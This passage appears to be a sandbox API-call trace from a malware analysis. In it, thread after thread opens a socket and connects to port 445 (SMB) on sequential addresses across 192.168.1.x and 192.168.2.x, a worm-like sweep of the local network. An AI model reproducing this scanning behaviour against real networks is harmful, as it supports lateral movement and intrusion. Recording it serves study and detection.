WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd61fdf0 | out: lpWSAData=0xd61fdf0) returned 0 [0130.081] socket (af=2, type=1, protocol=0) returned 0x16d8 [0130.081] inet_addr (cp="192.168.1.247") returned 0xf701a8c0 [0130.081] htons (hostshort=0x1bd) returned 0xbd01 [0130.081] connect (s=0x16d8, name=0xd61fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.247"), namelen=16) Thread: id = 899 os_tid = 0x1600 [0130.174] GetCurrentThreadId () returned 0x1600 [0130.174] GetCurrentThreadId () returned 0x1600 [0130.174] GetCurrentThreadId () returned 0x1600 [0130.174] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd75fdf0 | out: lpWSAData=0xd75fdf0) returned 0 [0130.174] socket (af=2, type=1, protocol=0) returned 0x12b0 [0130.174] inet_addr (cp="192.168.1.248") returned 0xf801a8c0 [0130.174] htons (hostshort=0x1bd) returned 0xbd01 [0130.174] connect (s=0x12b0, name=0xd75fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.248"), namelen=16) Thread: id = 900 os_tid = 0x1604 [0130.300] GetCurrentThreadId () returned 0x1604 [0130.301] GetCurrentThreadId () returned 0x1604 [0130.301] GetCurrentThreadId () returned 0x1604 [0130.301] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd89fdf0 | out: lpWSAData=0xd89fdf0) returned 0 [0130.301] socket (af=2, type=1, protocol=0) returned 0x1680 [0130.301] inet_addr (cp="192.168.1.249") returned 0xf901a8c0 [0130.301] htons (hostshort=0x1bd) returned 0xbd01 [0130.301] connect (s=0x1680, name=0xd89fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.249"), namelen=16) Thread: id = 901 os_tid = 0x1608 [0130.345] GetCurrentThreadId () returned 0x1608 [0130.345] GetCurrentThreadId () returned 0x1608 [0130.345] GetCurrentThreadId () returned 0x1608 [0130.345] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd9dfdf0 | out: lpWSAData=0xd9dfdf0) returned 0 [0130.345] socket (af=2, type=1, protocol=0) returned 0x16b4 [0130.346] inet_addr (cp="192.168.1.250") returned 0xfa01a8c0 [0130.346] htons (hostshort=0x1bd) returned 0xbd01 [0130.346] connect (s=0x16b4, name=0xd9dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.250"), namelen=16) Thread: id = 902 os_tid = 0x1614 [0130.494] GetCurrentThreadId () returned 0x1614 [0130.494] GetCurrentThreadId () returned 0x1614 [0130.494] GetCurrentThreadId () returned 0x1614 [0130.494] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdb1fdf0 | out: lpWSAData=0xdb1fdf0) returned 0 [0130.494] socket (af=2, type=1, protocol=0) returned 0x129c [0130.494] inet_addr (cp="192.168.1.251") returned 0xfb01a8c0 [0130.494] htons (hostshort=0x1bd) returned 0xbd01 [0130.494] connect (s=0x129c, name=0xdb1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.251"), namelen=16) Thread: id = 903 os_tid = 0x1620 [0130.659] GetCurrentThreadId () returned 0x1620 [0130.659] GetCurrentThreadId () returned 0x1620 [0130.659] GetCurrentThreadId () returned 0x1620 [0130.659] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdc5fdf0 | out: lpWSAData=0xdc5fdf0) returned 0 [0130.659] socket (af=2, type=1, protocol=0) returned 0x1630 [0130.660] inet_addr (cp="192.168.1.252") returned 0xfc01a8c0 [0130.660] htons (hostshort=0x1bd) returned 0xbd01 [0130.660] connect (s=0x1630, name=0xdc5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.252"), namelen=16) Thread: id = 905 os_tid = 0x1634 [0130.829] GetCurrentThreadId () returned 0x1634 [0130.829] GetCurrentThreadId () returned 0x1634 [0130.829] GetCurrentThreadId () returned 0x1634 [0130.829] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdd9fdf0 | out: lpWSAData=0xdd9fdf0) returned 0 [0130.829] socket (af=2, type=1, protocol=0) returned 0x164c [0130.829] inet_addr (cp="192.168.1.253") returned 0xfd01a8c0 [0130.829] htons (hostshort=0x1bd) returned 0xbd01 [0130.829] connect (s=0x164c, name=0xdd9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.253"), namelen=16) Thread: id = 906 os_tid = 0x1638 [0130.911] GetCurrentThreadId () returned 0x1638 [0130.911] GetCurrentThreadId () returned 0x1638 [0130.911] GetCurrentThreadId () returned 0x1638 [0130.911] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdedfdf0 | out: lpWSAData=0xdedfdf0) returned 0 [0130.911] socket (af=2, type=1, protocol=0) returned 0x15f0 [0130.912] inet_addr (cp="192.168.1.254") returned 0xfe01a8c0 [0130.912] htons (hostshort=0x1bd) returned 0xbd01 [0130.912] connect (s=0x15f0, name=0xdedfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.254"), namelen=16) Thread: id = 929 os_tid = 0x1640 [0131.727] GetCurrentThreadId () returned 0x1640 [0131.727] GetCurrentThreadId () returned 0x1640 [0131.727] GetCurrentThreadId () returned 0x1640 [0131.727] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe01fdf0 | out: lpWSAData=0xe01fdf0) returned 0 [0131.727] socket (af=2, type=1, protocol=0) returned 0x1570 [0131.727] inet_addr (cp="192.168.2.1") returned 0x102a8c0 [0131.727] htons (hostshort=0x1bd) returned 0xbd01 [0131.727] connect (s=0x1570, name=0xe01fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.1"), namelen=16) Thread: id = 931 os_tid = 0x164c [0132.017] GetCurrentThreadId () returned 0x164c [0132.017] GetCurrentThreadId () returned 0x164c [0132.017] GetCurrentThreadId () returned 0x164c [0132.017] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe15fdf0 | out: lpWSAData=0xe15fdf0) returned 0 [0132.017] socket (af=2, type=1, protocol=0) returned 0x1980 [0132.017] inet_addr (cp="192.168.2.2") returned 0x202a8c0 [0132.017] htons (hostshort=0x1bd) returned 0xbd01 [0132.017] connect (s=0x1980, name=0xe15fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.2"), namelen=16) Thread: id = 932 os_tid = 0x1650 [0132.147] GetCurrentThreadId () returned 0x1650 [0132.147] GetCurrentThreadId () returned 0x1650 [0132.147] GetCurrentThreadId () returned 0x1650 [0132.147] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe29fdf0 | out: lpWSAData=0xe29fdf0) returned 0 [0132.147] socket (af=2, type=1, protocol=0) returned 0x1958 [0132.147] inet_addr (cp="192.168.2.3") returned 0x302a8c0 [0132.147] htons (hostshort=0x1bd) returned 0xbd01 [0132.147] connect (s=0x1958, name=0xe29fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.3"), namelen=16) Thread: id = 934 os_tid = 0x1658 [0132.248] GetCurrentThreadId () returned 0x1658 [0132.248] GetCurrentThreadId () returned 0x1658 [0132.248] GetCurrentThreadId () returned 0x1658 [0132.248] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe3dfdf0 | out: lpWSAData=0xe3dfdf0) returned 0 [0132.248] socket (af=2, type=1, protocol=0) returned 0x19b8 [0132.248] inet_addr (cp="192.168.2.4") returned 0x402a8c0 [0132.248] htons (hostshort=0x1bd) returned 0xbd01 [0132.248] connect (s=0x19b8, name=0xe3dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.4"), namelen=16) Thread: id = 936 os_tid = 0x1660 [0132.301] GetCurrentThreadId () returned 0x1660 [0132.301] GetCurrentThreadId () returned 0x1660 [0132.301] GetCurrentThreadId () returned 0x1660 [0132.301] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe51fdf0 | out: lpWSAData=0xe51fdf0) returned 0 [0132.301] socket (af=2, type=1, protocol=0) returned 0x1960 [0132.301] inet_addr (cp="192.168.2.5") returned 0x502a8c0 [0132.301] htons (hostshort=0x1bd) returned 0xbd01 [0132.301] connect (s=0x1960, name=0xe51fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.5"), namelen=16) Thread: id = 938 os_tid = 0x1668 [0132.441] GetCurrentThreadId () returned 0x1668 [0132.441] GetCurrentThreadId () returned 0x1668 [0132.441] GetCurrentThreadId () returned 0x1668 [0132.442] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe65fdf0 | out: lpWSAData=0xe65fdf0) returned 0 [0132.442] socket (af=2, type=1, protocol=0) returned 0x1914 [0132.442] inet_addr (cp="192.168.2.6") returned 0x602a8c0 [0132.442] htons (hostshort=0x1bd) returned 0xbd01 [0132.442] connect (s=0x1914, name=0xe65fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.6"), namelen=16) Thread: id = 939 os_tid = 0x166c [0132.527] GetCurrentThreadId () returned 0x166c [0132.527] GetCurrentThreadId () returned 0x166c [0132.527] GetCurrentThreadId () returned 0x166c [0132.527] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe79fdf0 | out: lpWSAData=0xe79fdf0) returned 0 [0132.527] socket (af=2, type=1, protocol=0) returned 0x190c [0132.527] inet_addr (cp="192.168.2.7") returned 0x702a8c0 [0132.527] htons (hostshort=0x1bd) returned 0xbd01 [0132.527] connect (s=0x190c, name=0xe79fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.7"), namelen=16) Thread: id = 943 os_tid = 0x167c [0132.667] GetCurrentThreadId () returned 0x167c [0132.667] GetCurrentThreadId () returned 0x167c [0132.667] GetCurrentThreadId () returned 0x167c [0132.667] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe8dfdf0 | out: lpWSAData=0xe8dfdf0) returned 0 [0132.667] socket (af=2, type=1, protocol=0) returned 0x180c [0132.668] inet_addr (cp="192.168.2.8") returned 0x802a8c0 [0132.668] htons (hostshort=0x1bd) returned 0xbd01 [0132.668] connect (s=0x180c, name=0xe8dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.8"), namelen=16) Thread: id = 945 os_tid = 0x1684 [0132.750] GetCurrentThreadId () returned 0x1684 [0132.750] GetCurrentThreadId () returned 0x1684 [0132.750] GetCurrentThreadId () returned 0x1684 [0132.750] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xea1fdf0 | out: lpWSAData=0xea1fdf0) returned 0 [0132.750] socket (af=2, type=1, protocol=0) returned 0x1a5c [0132.751] inet_addr (cp="192.168.2.9") returned 0x902a8c0 [0132.751] htons (hostshort=0x1bd) returned 0xbd01 [0132.751] connect (s=0x1a5c, name=0xea1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.9"), namelen=16) Thread: id = 946 os_tid = 0x1688 [0132.857] GetCurrentThreadId () returned 0x1688 [0132.857] GetCurrentThreadId () returned 0x1688 [0132.857] GetCurrentThreadId () returned 0x1688 [0132.857] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xeb5fdf0 | out: lpWSAData=0xeb5fdf0) returned 0 [0132.857] socket (af=2, type=1, protocol=0) returned 0x15ac [0132.858] inet_addr (cp="192.168.2.10") returned 0xa02a8c0 [0132.858] htons (hostshort=0x1bd) returned 0xbd01 [0132.858] connect (s=0x15ac, name=0xeb5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.10"), namelen=16) Thread: id = 947 os_tid = 0x168c [0132.950] GetCurrentThreadId () returned 0x168c [0132.950] GetCurrentThreadId () returned 0x168c [0132.950] GetCurrentThreadId () returned 0x168c [0132.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xec9fdf0 | out: lpWSAData=0xec9fdf0) returned 0 [0132.950] socket (af=2, type=1, protocol=0) returned 0x1a94 [0132.951] inet_addr (cp="192.168.2.11") returned 0xb02a8c0 [0132.951] htons (hostshort=0x1bd) returned 0xbd01 [0132.951] connect (s=0x1a94, name=0xec9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.11"), namelen=16) Thread: id = 948 os_tid = 0x1690 [0133.151] GetCurrentThreadId () returned 0x1690 [0133.152] GetCurrentThreadId () returned 0x1690 [0133.152] GetCurrentThreadId () returned 0x1690 [0133.152] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xeddfdf0 | out: lpWSAData=0xeddfdf0) returned 0 [0133.152] socket (af=2, type=1, protocol=0) returned 0x1a9c [0133.152] inet_addr (cp="192.168.2.12") returned 0xc02a8c0 [0133.152] htons (hostshort=0x1bd) returned 0xbd01 [0133.152] connect (s=0x1a9c, name=0xeddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.12"), namelen=16) Thread: id = 949 os_tid = 0x1694 [0133.237] GetCurrentThreadId () returned 0x1694 [0133.238] GetCurrentThreadId () returned 0x1694 [0133.238] GetCurrentThreadId () returned 0x1694 [0133.238] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xef1fdf0 | out: lpWSAData=0xef1fdf0) returned 0 [0133.238] socket (af=2, type=1, protocol=0) returned 0x1ae8 [0133.238] inet_addr (cp="192.168.2.13") returned 0xd02a8c0 [0133.238] htons (hostshort=0x1bd) returned 0xbd01 [0133.238] connect (s=0x1ae8, name=0xef1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.13"), namelen=16) Thread: id = 950 os_tid = 0x1698 [0133.390] GetCurrentThreadId () returned 0x1698 [0133.397] GetCurrentThreadId () returned 0x1698 [0133.403] GetCurrentThreadId () returned 0x1698 [0133.404] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf05fdf0 | out: lpWSAData=0xf05fdf0) returned 0 [0133.404] socket (af=2, type=1, protocol=0) returned 0x1abc [0133.404] inet_addr (cp="192.168.2.14") returned 0xe02a8c0 [0133.404] htons (hostshort=0x1bd) returned 0xbd01 [0133.404] connect (s=0x1abc, name=0xf05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.14"), namelen=16) Thread: id = 951 os_tid = 0x169c [0133.511] GetCurrentThreadId () returned 0x169c [0133.511] GetCurrentThreadId () returned 0x169c [0133.511] GetCurrentThreadId () returned 0x169c [0133.511] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf19fdf0 | out: lpWSAData=0xf19fdf0) returned 0 [0133.511] socket (af=2, type=1, protocol=0) returned 0x1b34 [0133.511] inet_addr (cp="192.168.2.15") returned 0xf02a8c0 [0133.511] htons (hostshort=0x1bd) returned 0xbd01 [0133.511] connect (s=0x1b34, name=0xf19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.15"), namelen=16) Thread: id = 952 os_tid = 0x16a0 [0133.605] GetCurrentThreadId () returned 0x16a0 [0133.605] GetCurrentThreadId () returned 0x16a0 [0133.605] GetCurrentThreadId () returned 0x16a0 [0133.605] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf2dfdf0 | out: lpWSAData=0xf2dfdf0) returned 0 [0133.605] socket (af=2, type=1, protocol=0) returned 0x1b1c [0133.605] inet_addr (cp="192.168.2.16") returned 0x1002a8c0 [0133.605] htons (hostshort=0x1bd) returned 0xbd01 [0133.605] connect (s=0x1b1c, name=0xf2dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.16"), namelen=16) Thread: id = 953 os_tid = 0x16a4 [0133.661] GetCurrentThreadId () returned 0x16a4 [0133.661] GetCurrentThreadId () returned 0x16a4 [0133.661] GetCurrentThreadId () returned 0x16a4 [0133.661] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf41fdf0 | out: lpWSAData=0xf41fdf0) returned 0 [0133.661] socket (af=2, type=1, protocol=0) returned 0x1b54 [0133.661] inet_addr (cp="192.168.2.17") returned 0x1102a8c0 [0133.661] htons (hostshort=0x1bd) returned 0xbd01 [0133.661] connect (s=0x1b54, name=0xf41fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.17"), namelen=16) Thread: id = 954 os_tid = 0x16a8 [0133.761] GetCurrentThreadId () returned 0x16a8 [0133.761] GetCurrentThreadId () returned 0x16a8 [0133.761] GetCurrentThreadId () returned 0x16a8 [0133.761] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf55fdf0 | out: lpWSAData=0xf55fdf0) returned 0 [0133.761] socket (af=2, type=1, protocol=0) returned 0x1a64 [0133.762] inet_addr (cp="192.168.2.18") returned 0x1202a8c0 [0133.762] htons (hostshort=0x1bd) returned 0xbd01 [0133.762] connect (s=0x1a64, name=0xf55fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.18"), namelen=16) Thread: id = 955 os_tid = 0x16ac [0133.856] GetCurrentThreadId () returned 0x16ac [0133.856] GetCurrentThreadId () returned 0x16ac [0133.856] GetCurrentThreadId () returned 0x16ac [0133.856] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf69fdf0 | out: lpWSAData=0xf69fdf0) returned 0 [0133.856] socket (af=2, type=1, protocol=0) returned 0x1a50 [0133.856] inet_addr (cp="192.168.2.19") returned 0x1302a8c0 [0133.856] htons (hostshort=0x1bd) returned 0xbd01 [0133.856] connect (s=0x1a50, name=0xf69fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.19"), namelen=16) Thread: id = 956 os_tid = 0x16b0 [0133.961] GetCurrentThreadId () returned 0x16b0 [0133.961] GetCurrentThreadId () returned 0x16b0 [0133.961] GetCurrentThreadId () returned 0x16b0 [0133.961] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf7dfdf0 | out: lpWSAData=0xf7dfdf0) returned 0 [0133.961] socket (af=2, type=1, protocol=0) returned 0x1b2c [0133.961] inet_addr (cp="192.168.2.20") returned 0x1402a8c0 [0133.961] htons (hostshort=0x1bd) returned 0xbd01 [0133.961] connect (s=0x1b2c, name=0xf7dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.20"), namelen=16) Thread: id = 957 os_tid = 0x16b4 [0134.075] GetCurrentThreadId () returned 0x16b4 [0134.075] GetCurrentThreadId () returned 0x16b4 [0134.075] GetCurrentThreadId () returned 0x16b4 [0134.075] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf91fdf0 | out: lpWSAData=0xf91fdf0) returned 0 [0134.075] socket (af=2, type=1, protocol=0) returned 0x1598 [0134.075] inet_addr (cp="192.168.2.21") returned 0x1502a8c0 [0134.075] htons (hostshort=0x1bd) returned 0xbd01 [0134.075] connect (s=0x1598, name=0xf91fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.21"), namelen=16) Thread: id = 958 os_tid = 0x16b8 [0134.167] GetCurrentThreadId () returned 0x16b8 [0134.167] GetCurrentThreadId () returned 0x16b8 [0134.167] GetCurrentThreadId () returned 0x16b8 [0134.167] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfa5fdf0 | out: lpWSAData=0xfa5fdf0) returned 0 [0134.168] socket (af=2, type=1, protocol=0) returned 0x15b4 [0134.168] inet_addr (cp="192.168.2.22") returned 0x1602a8c0 [0134.168] htons (hostshort=0x1bd) returned 0xbd01 [0134.168] connect (s=0x15b4, name=0xfa5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.22"), namelen=16) Thread: id = 959 os_tid = 0x16bc [0134.276] GetCurrentThreadId () returned 0x16bc [0134.277] GetCurrentThreadId () returned 0x16bc [0134.277] GetCurrentThreadId () returned 0x16bc [0134.277] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfb9fdf0 | out: lpWSAData=0xfb9fdf0) returned 0 [0134.277] socket (af=2, type=1, protocol=0) returned 0x1574 [0134.277] inet_addr (cp="192.168.2.23") returned 0x1702a8c0 [0134.277] htons (hostshort=0x1bd) returned 0xbd01 [0134.277] connect (s=0x1574, name=0xfb9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.23"), namelen=16) Thread: id = 960 os_tid = 0x16c0 [0134.368] GetCurrentThreadId () returned 0x16c0 [0134.368] GetCurrentThreadId () returned 0x16c0 [0134.368] GetCurrentThreadId () returned 0x16c0 [0134.368] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfcdfdf0 | out: lpWSAData=0xfcdfdf0) returned 0 [0134.368] socket (af=2, type=1, protocol=0) returned 0x1558 [0134.368] inet_addr (cp="192.168.2.24") returned 0x1802a8c0 [0134.368] htons (hostshort=0x1bd) returned 0xbd01 [0134.368] connect (s=0x1558, name=0xfcdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.24"), namelen=16) Thread: id = 961 os_tid = 0x16c4 [0134.463] GetCurrentThreadId () returned 0x16c4 [0134.463] GetCurrentThreadId () returned 0x16c4 [0134.463] GetCurrentThreadId () returned 0x16c4 [0134.463] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfe1fdf0 | out: lpWSAData=0xfe1fdf0) returned 0 [0134.463] socket (af=2, type=1, protocol=0) returned 0x1594 [0134.463] inet_addr (cp="192.168.2.25") returned 0x1902a8c0 [0134.463] htons (hostshort=0x1bd) returned 0xbd01 [0134.463] connect (s=0x1594, name=0xfe1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.25"), namelen=16) Thread: id = 962 os_tid = 0x16c8 [0134.574] GetCurrentThreadId () returned 0x16c8 [0134.574] GetCurrentThreadId () returned 0x16c8 [0134.574] GetCurrentThreadId () returned 0x16c8 [0134.574] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff5fdf0 | out: lpWSAData=0xff5fdf0) returned 0 [0134.574] socket (af=2, type=1, protocol=0) returned 0x16cc [0134.575] inet_addr (cp="192.168.2.26") returned 0x1a02a8c0 [0134.575] htons (hostshort=0x1bd) returned 0xbd01 [0134.575] connect (s=0x16cc, name=0xff5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.26"), namelen=16) Thread: id = 963 os_tid = 0x16cc [0134.673] GetCurrentThreadId () returned 0x16cc [0134.673] GetCurrentThreadId () returned 0x16cc [0134.673] GetCurrentThreadId () returned 0x16cc [0134.673] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1009fdf0 | out: lpWSAData=0x1009fdf0) returned 0 [0134.673] socket (af=2, type=1, protocol=0) returned 0x16ac [0134.673] inet_addr (cp="192.168.2.27") returned 0x1b02a8c0 [0134.673] htons (hostshort=0x1bd) returned 0xbd01 [0134.673] connect (s=0x16ac, name=0x1009fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.27"), namelen=16) Thread: id = 964 os_tid = 0x16d0 [0134.763] GetCurrentThreadId () returned 0x16d0 [0134.763] GetCurrentThreadId () returned 0x16d0 [0134.763] GetCurrentThreadId () returned 0x16d0 [0134.763] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x101dfdf0 | out: lpWSAData=0x101dfdf0) returned 0 [0134.763] socket (af=2, type=1, protocol=0) returned 0x1900 [0134.763] inet_addr (cp="192.168.2.28") returned 0x1c02a8c0 [0134.763] htons (hostshort=0x1bd) returned 0xbd01 [0134.763] connect (s=0x1900, name=0x101dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.28"), namelen=16) Thread: id = 965 os_tid = 0x16d4 [0134.867] GetCurrentThreadId () returned 0x16d4 [0134.867] GetCurrentThreadId () returned 0x16d4 [0134.867] GetCurrentThreadId () returned 0x16d4 [0134.867] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1031fdf0 | out: lpWSAData=0x1031fdf0) returned 0 [0134.867] socket (af=2, type=1, protocol=0) returned 0x15d4 [0134.868] inet_addr (cp="192.168.2.29") returned 0x1d02a8c0 [0134.868] htons (hostshort=0x1bd) returned 0xbd01 [0134.868] connect (s=0x15d4, name=0x1031fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.29"), namelen=16) Thread: id = 966 os_tid = 0x16d8 [0135.009] GetCurrentThreadId () returned 0x16d8 [0135.009] GetCurrentThreadId () returned 0x16d8 [0135.009] GetCurrentThreadId () returned 0x16d8 [0135.010] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1045fdf0 | out: lpWSAData=0x1045fdf0) returned 0 [0135.010] socket (af=2, type=1, protocol=0) returned 0x18a4 [0135.010] inet_addr (cp="192.168.2.30") returned 0x1e02a8c0 [0135.010] htons (hostshort=0x1bd) returned 0xbd01 [0135.010] connect (s=0x18a4, name=0x1045fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.30"), namelen=16) Thread: id = 967 os_tid = 0x16dc [0135.093] GetCurrentThreadId () returned 0x16dc [0135.093] GetCurrentThreadId () returned 0x16dc [0135.093] GetCurrentThreadId () returned 0x16dc [0135.093] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1059fdf0 | out: lpWSAData=0x1059fdf0) returned 0 [0135.093] socket (af=2, type=1, protocol=0) returned 0x15d8 [0135.093] inet_addr (cp="192.168.2.31") returned 0x1f02a8c0 [0135.093] htons (hostshort=0x1bd) returned 0xbd01 [0135.093] connect (s=0x15d8, name=0x1059fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.31"), namelen=16) Thread: id = 968 os_tid = 0x16e0 [0135.150] GetCurrentThreadId () returned 0x16e0 [0135.150] GetCurrentThreadId () returned 0x16e0 [0135.150] GetCurrentThreadId () returned 0x16e0 [0135.150] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x106dfdf0 | out: lpWSAData=0x106dfdf0) returned 0 [0135.150] socket (af=2, type=1, protocol=0) returned 0x189c [0135.151] inet_addr (cp="192.168.2.32") returned 0x2002a8c0 [0135.151] htons (hostshort=0x1bd) returned 0xbd01 [0135.151] connect (s=0x189c, name=0x106dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.32"), namelen=16) Thread: id = 969 os_tid = 0x16e4 [0135.288] GetCurrentThreadId () returned 0x16e4 [0135.288] GetCurrentThreadId () returned 0x16e4 [0135.288] GetCurrentThreadId () returned 0x16e4 [0135.288] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1081fdf0 | out: lpWSAData=0x1081fdf0) returned 0 [0135.288] socket (af=2, type=1, protocol=0) returned 0x1894 [0135.288] inet_addr (cp="192.168.2.33") returned 0x2102a8c0 [0135.288] htons (hostshort=0x1bd) returned 0xbd01 [0135.288] connect (s=0x1894, name=0x1081fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.33"), namelen=16) Thread: id = 970 os_tid = 0x16ec [0135.377] GetCurrentThreadId () returned 0x16ec [0135.377] GetCurrentThreadId () returned 0x16ec [0135.377] GetCurrentThreadId () returned 0x16ec [0135.377] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1095fdf0 | out: lpWSAData=0x1095fdf0) returned 0 [0135.377] socket (af=2, type=1, protocol=0) returned 0x1874 [0135.378] inet_addr (cp="192.168.2.34") returned 0x2202a8c0 [0135.378] htons (hostshort=0x1bd) returned 0xbd01 [0135.378] connect (s=0x1874, name=0x1095fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.34"), namelen=16) Thread: id = 971 os_tid = 0x16f0 [0135.419] GetCurrentThreadId () returned 0x16f0 [0135.419] GetCurrentThreadId () returned 0x16f0 [0135.420] GetCurrentThreadId () returned 0x16f0 [0135.420] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10a9fdf0 | out: lpWSAData=0x10a9fdf0) returned 0 [0135.420] socket (af=2, type=1, protocol=0) returned 0x186c [0135.420] inet_addr (cp="192.168.2.35") returned 0x2302a8c0 [0135.420] htons (hostshort=0x1bd) returned 0xbd01 [0135.420] connect (s=0x186c, name=0x10a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.35"), namelen=16) Thread: id = 972 os_tid = 0x16f4 [0135.512] GetCurrentThreadId () returned 0x16f4 [0135.512] GetCurrentThreadId () returned 0x16f4 [0135.512] GetCurrentThreadId () returned 0x16f4 [0135.512] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10bdfdf0 | out: lpWSAData=0x10bdfdf0) returned 0 [0135.512] socket (af=2, type=1, protocol=0) returned 0x1658 [0135.512] inet_addr (cp="192.168.2.36") returned 0x2402a8c0 [0135.512] htons (hostshort=0x1bd) returned 0xbd01 [0135.512] connect (s=0x1658, name=0x10bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.36"), namelen=16) Thread: id = 973 os_tid = 0x16f8 [0135.610] GetCurrentThreadId () returned 0x16f8 [0135.610] GetCurrentThreadId () returned 0x16f8 [0135.610] GetCurrentThreadId () returned 0x16f8 [0135.610] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10d1fdf0 | out: lpWSAData=0x10d1fdf0) returned 0 [0135.610] socket (af=2, type=1, protocol=0) returned 0x1268 [0135.610] inet_addr (cp="192.168.2.37") returned 0x2502a8c0 [0135.610] htons (hostshort=0x1bd) returned 0xbd01 [0135.610] connect (s=0x1268, name=0x10d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.37"), namelen=16) Thread: id = 974 os_tid = 0x16fc [0135.713] GetCurrentThreadId () returned 0x16fc [0135.713] GetCurrentThreadId () returned 0x16fc [0135.713] GetCurrentThreadId () returned 0x16fc [0135.713] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10e5fdf0 | out: lpWSAData=0x10e5fdf0) returned 0 [0135.713] socket (af=2, type=1, protocol=0) returned 0x176c [0135.713] inet_addr (cp="192.168.2.38") returned 0x2602a8c0 [0135.713] htons (hostshort=0x1bd) returned 0xbd01 [0135.713] connect (s=0x176c, name=0x10e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.38"), namelen=16) Thread: id = 975 os_tid = 0x1700 [0135.803] GetCurrentThreadId () returned 0x1700 [0135.803] GetCurrentThreadId () returned 0x1700 [0135.803] GetCurrentThreadId () returned 0x1700 